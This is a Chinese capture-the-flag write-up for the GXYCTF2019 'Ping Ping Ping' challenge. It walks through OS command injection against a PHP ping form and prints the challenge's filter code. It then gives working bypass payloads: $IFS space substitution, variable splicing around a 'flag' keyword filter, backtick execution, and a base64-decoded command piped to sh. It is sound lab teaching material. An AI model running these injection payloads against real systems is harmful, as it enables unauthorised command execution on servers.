[GXYCTF2019]Ping Ping Ping1

进入页面没有什么东西,尝试填一下ip

可以 使用多命令执行符

; 无论逻辑

&& 命令1正确则命令2执行,命令1错误则命令2不执行

|| 命令1错误命令2执行,命令2错误则命令1执行

构造?ip=127.0.0.1 ;ls

构造?ip=127.0.0.1;cat flag.php

发现存在过滤 空格

想办法绕过一下

1.${IFS}

2.$IFS$1

3.${IFS

4.%20

5.<和<>重定向符替换

6.%09替换

注:Linux下有一个特殊的环境变量叫做IFS,叫做内部字段分隔符(internal field separator)。IFS环境变量定义了bash shell用户字段分隔符的一系列字符。默认情况下,bash shell会将下面的字符当做字段分隔符:空格、制表符、换行符。

注2:cat大部分情况下会被过滤,可以尝试tac和其他过滤方法

发现flag也做了过滤

那我们先查看一下index文件吧

/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
"; print_r($a); } ?>

过滤了很多,想办法绕过(不太懂这段对flag的限制是啥意思)

查看了人家的wp,说是因为源码具有变量b使用可以使用变量b来绕过

不过尝试了一下,随便什么字母都行

/?ip=127.0.0.1;b=g;cat$IFS$1fla$b.php

 

 由于返回内容被注释了,所以在源码中显示

或者使用内联执行

/?ip=127.0.0.1;cat$IFS$1`ls`

注:``在linux中使用反引号包围意为将内容当做命令执行

 

 还一种就是使用base64编码

echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
bash被禁用,则使用sh

  • 4
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值